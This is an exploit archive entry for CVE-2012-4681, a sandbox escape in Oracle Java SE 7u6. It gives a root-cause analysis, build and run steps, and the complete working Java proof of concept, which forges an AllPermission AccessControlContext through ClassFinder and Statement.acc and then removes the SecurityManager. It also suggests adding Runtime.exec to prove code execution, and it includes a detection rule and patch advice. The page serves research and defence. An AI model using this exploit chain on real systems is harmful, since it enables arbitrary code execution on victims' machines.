PoC Archive PoC Archive
CVE-2012-4681 category: binary CVSS 10 (CRITICAL) KEV Ransomware EPSS 99%
Patched

Oracle Java SE SecurityManager Sandbox Escape (CVE-2012-4681)

Published: 2026-11-27 • Researcher: ZH3FENG (PoC repository author); in-the-wild Gondzz / Gondvv exploit reported by FireEye and Immunity

Target software Oracle Java SE (JRE and JDK): java.beans, com.sun.beans.finder.ClassFinder and sun.awt.SunToolkit
Affected versions Java SE 7 Update 6 and earlier (NVD description, CPE oracle:jdk); Oracle fixed the issue in Java SE 7 Update 7
Status PoC (sandbox-escape primitive implemented; demonstration program only, no applet delivery or second-stage payload)
Severity Critical · CVSS 10
CVSS 10.0/10

Exploitation signals

KEV Ransomware EPSS 99%

Confirmed exploited in the wild. Added to CISA KEV 2022-03-03. Federal remediation deadline 2022-03-24.

EPSS 98.5% · 100th percentile

Severity
Critical
CVE
CVE-2012-4681
Category
binary
Affected product
Oracle Java SE (JRE and JDK): java.beans, com.sun.beans.finder.ClassFinder and sun.awt.SunToolkit
Affected versions
Java SE 7 Update 6 and earlier (NVD description, CPE oracle:jdk); Oracle fixed the issue in Java SE 7 Update 7
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2018-01-05
Author / ResearcherZH3FENG (PoC repository author); in-the-wild Gondzz / Gondvv exploit reported by FireEye and Immunity
CVE / AdvisoryCVE-2012-4681
Categorybinary
SeverityCritical
CVSS Score10.0 (NVD, CVSSv2 base); 9.8 (CVSSv3.1 rescore in the KEV batch record)
StatusPoC (sandbox-escape primitive implemented; demonstration program only, no applet delivery or second-stage payload)
TagsJava, JRE, sandbox escape, SecurityManager, reflection, applet, ClassFinder, SunToolkit, CWE-284, CISA KEV
RelatedN/A

Affected Target

FieldValue
Software / SystemOracle Java SE (JRE and JDK): java.beans, com.sun.beans.finder.ClassFinder and sun.awt.SunToolkit
Versions AffectedJava SE 7 Update 6 and earlier (NVD description, CPE oracle:jdk); Oracle fixed the issue in Java SE 7 Update 7
Language / PlatformJava bytecode / JVM; desktop JRE on Windows, Linux and macOS, normally reached through a browser applet plugin
Authentication RequiredNo
Network Access RequiredYes for the in-the-wild vector (victim loads an attacker-supplied applet); the archived program can also be run locally

Summary

CVE-2012-4681 is a Java SE sandbox bypass in which untrusted applet code can reach restricted internal classes and reflection helpers. The flaw lets an applet obtain and modify private fields of java.beans.Statement and install a forged AccessControlContext carrying AllPermission, after which it removes the SecurityManager and runs unrestricted code. It was exploited in the wild in August 2012 through the Gondzz and Gondvv classes and is listed in the CISA KEV catalog.

Vulnerability Details

Root Cause

Two unsafe primitives combine in the JDK 7 class library. First, com.sun.beans.finder.ClassFinder.findClass performs a class lookup without restricting the requested package, so sandboxed code can load otherwise restricted internals such as sun.awt.SunToolkit. Second, SunToolkit.getField performs reflective field lookup with a trusted immediate caller, and the java.beans.Expression / Statement machinery executes reflective calls in a privileged context. Together they allow applet code to read and write a private field of java.beans.Statement named acc, which holds the AccessControlContext used when the statement is executed.

The attacker replaces acc with an AccessControlContext built from a ProtectionDomain with AllPermission and a dummy CodeSource such as file:///testtest. When Statement.execute runs, the reflective call to System.setSecurityManager(null) is made inside that forged privileged context, so the permission check passes and the JVM security manager is removed. The original in-the-wild exploit packaged this primitive as an applet (Gondzz.class and Gondvv.class) loaded from a malicious web page.

Attack Vector

A victim visits an attacker-controlled web page that embeds a Java applet; a vulnerable browser plugin downloads and runs the applet, which executes the sandbox-escape chain. No credentials or user interaction beyond page load are required. The archived program is a standalone Java class that demonstrates the same chain from a main method, with no HTTP delivery.

Impact

Security-manager removal and arbitrary code execution with the privileges of the user running the browser or JVM. After the escape the payload can read and exfiltrate local files and credentials, install malware or a remote-access tool, modify user data and pivot to other systems reachable from the host. The in-the-wild campaign used the bypass to drop a Windows backdoor and was distributed through watering-hole and exploit-kit pages.

Environment / Lab Setup

Output
OS:          Linux or Windows desktop with JDK/JRE 7 Update 6 installed
Target:      Oracle JDK 7u6 (1.7.0_06); the exploit depends on JDK 7 internals
Attacker:    Local terminal (this PoC), or a web server hosting the applet for the remote vector
Tools:       JDK 7u6 (javac, java), a text editor, optionally an old browser with the Java plugin

Setup Steps

The upstream repository contains no setup instructions; it only carries the single Java source file and a one-line description. The steps below are reconstructed from the source and its package declaration and were not executed while preparing this entry.

Shell script
1
2
3
4
5
6
7
java -version

mkdir -p org/zh3feng/poc
cp CVE_2012_4681.java org/zh3feng/poc/

javac org/zh3feng/poc/CVE_2012_4681.java
java -cp . org.zh3feng.poc.CVE_2012_4681

Proof of Concept

Step-by-Step Reproduction

  1. Prepare the vulnerable JVM — Install JDK 7u6 and verify that java -version reports 1.7.0_06.

  2. Compile the class — The source declares package org.zh3feng.poc, so place it in the matching directory before compiling.

    Shell script
    1
    2
    
    mkdir -p org/zh3feng/poc && cp CVE_2012_4681.java org/zh3feng/poc/
    javac org/zh3feng/poc/CVE_2012_4681.java
  3. Run the demonstration — The program installs a SecurityManager, performs the reflection chain, executes System.setSecurityManager(null) and prints whether the manager is still present.

    Shell script
    1
    
    java -cp . org.zh3feng.poc.CVE_2012_4681
  4. Confirm the escape — The first line shows that a manager is installed and the second line shows that it has been removed. To prove code execution, add a Runtime.getRuntime().exec call after the second print; the upstream file deliberately stops at the escape.

Exploit Code

See CVE_2012_4681.java in this folder.

Java source
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
// 1) install a SecurityManager
System.setSecurityManager(new SecurityManager());
System.out.println(System.getSecurityManager() == null);   // false

// 2) load a restricted internal class, then steal Statement.acc
Class clazz = ClassFinder.findClass("sun.awt.SunToolkit");
Expression expression = new Expression(clazz, "getField", new Object[]{Statement.class, "acc"});
expression.execute();
Field field = (Field) expression.getValue();

// 3) build an AllPermission context and attach it to the statement
Permissions permissions = new Permissions();
permissions.add(new AllPermission());
AccessControlContext evilAcc = new AccessControlContext(new ProtectionDomain[]{
        new ProtectionDomain(new CodeSource(new URL("file:///testtest"), new Certificate[]{}), permissions)
});
Statement statement = new Statement(System.class, "setSecurityManager", new Object[]{null});
field.set(statement, evilAcc);
statement.execute();                                       // runs with AllPermission

// 4) security manager is gone
System.out.println(System.getSecurityManager() == null);   // true

Expected Output

Output
$ java -cp . org.zh3feng.poc.CVE_2012_4681
false
true

The first false means a SecurityManager is active at that point; the final true means the manager was set to null and the sandbox no longer exists. On a patched or newer JVM the ClassFinder lookup, the Expression call or the reflective field access throws a SecurityException, the catch block swallows it, and the second line is never printed, so a single false line means the escape failed. All exceptions are silently discarded by design in the upstream code, which makes the program quiet on failure.

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
title: Java process spawning a shell (sandbox escape follow-on)
logsource:
  category: process_creation
  product: windows
detection:
  parent:
    ParentImage|endswith: '\java.exe'
  child:
    Image|endswith:
      - '\cmd.exe'
      - '\powershell.exe'
      - '\wscript.exe'
  condition: parent and child
level: high

Remediation

ActionDetail
PatchUpgrade to Oracle Java SE 7 Update 7 or later, which enforces the access restrictions in ClassFinder and the beans reflection path. Apply all later Critical Patch Updates.
WorkaroundDisable the Java browser plugin when applets are not required; set the deployment security level to Very High and enable prompt/block behaviour for unsigned applets; restrict applet execution by GPO or browser policy.
Config HardeningRemove end-of-life JREs from endpoints, keep only a supported JDK, and monitor for java.exe or browser processes spawning shells. Treat any host that loaded an applet from an untrusted site as compromised and reimage it.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/ZH3FENG/PoCs-CVE_2012_4681 (stars 0, Java).

Review verdict: ingested. The repository is a genuine sandbox-escape PoC, not a detector: it actively installs a SecurityManager, abuses ClassFinder and the privileged beans reflection path to overwrite Statement.acc with an AllPermission context, and then removes the SecurityManager, printing the before/after state. It reproduces the exact primitive described by NVD and used by the in-the-wild Gondzz/Gondvv applet, and it is not malware.

License: the upstream repository has no LICENSE file; copyright remains with the author ZH3FENG. The source file credits the author and links the WeChat analysis article. The upstream README is copied verbatim as upstream-README.md and the original source is kept unmodified for attribution.

Limitations: the archived class is a standalone main program, not an applet, so it demonstrates the sandbox escape but not the browser delivery or the Windows payload of the 2012 campaign. It depends on JDK 7 internals such as com.sun.beans.finder.ClassFinder and only works on vulnerable JDK 7 builds; on patched or newer runtimes the swallowed SecurityException leaves the second line unprinted. The code intentionally contains no post-exploitation payload. No exploit code was executed during preparation of this entry.

CVE_2012_4681.java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
package org.zh3feng.poc;

import java.beans.Expression;
import java.lang.reflect.Field;
import java.net.URL;
import java.security.AccessControlContext;
import java.security.AllPermission;
import java.security.CodeSource;
import java.security.Permissions;
import java.security.ProtectionDomain;
import java.security.cert.Certificate;
import java.beans.Statement;
import com.sun.beans.finder.ClassFinder;

/**
 * 
 * @author ZH3FENG
 * @since 
 * @description A Simple PoC for CVE-2012-4681
 *              Run in JDK7u6
 * @see https://mp.weixin.qq.com/s/T7eaYSKdxJlTrYZSRJKhRw
 *
 */
public class CVE_2012_4681 {

	public static void main(String[] args) {
		
		/*
		 * Show how to reset java sandbox
		 */
		//1) install 
		System.setSecurityManager(new SecurityManager());
		 System.out.println(System.getSecurityManager() == null);
		
		try {
			//2)get class of sun.awt.SunToolkit 
			Class clazz = ClassFinder.findClass("sun.awt.SunToolkit");
			
			//3)get field(named "acc") from Statement
			Expression expression = new Expression(clazz, "getField", new Object[]{Statement.class, "acc"});
			expression.execute();
	        Field field = (Field) expression.getValue();
	        
	        Statement statement = new Statement(System.class, "setSecurityManager", new Object[]{null});
	        
	        //4)create a AccessControlContext with AllPermission
	        Permissions permissions = new Permissions();
	        permissions.add(new AllPermission());
	        AccessControlContext evilAcc = new AccessControlContext(new ProtectionDomain[]{
	                new ProtectionDomain(new CodeSource(new URL("file:///testtest"), new Certificate[]{}), permissions)
	        });

	        //5)replaces statement's field("acc") value
	        field.set(statement, evilAcc);

	        //6)reset sanbox
	        statement.execute();

	        System.out.println(System.getSecurityManager() == null);
	        
		} catch (Exception e) {
			// ingore
		}

	}

}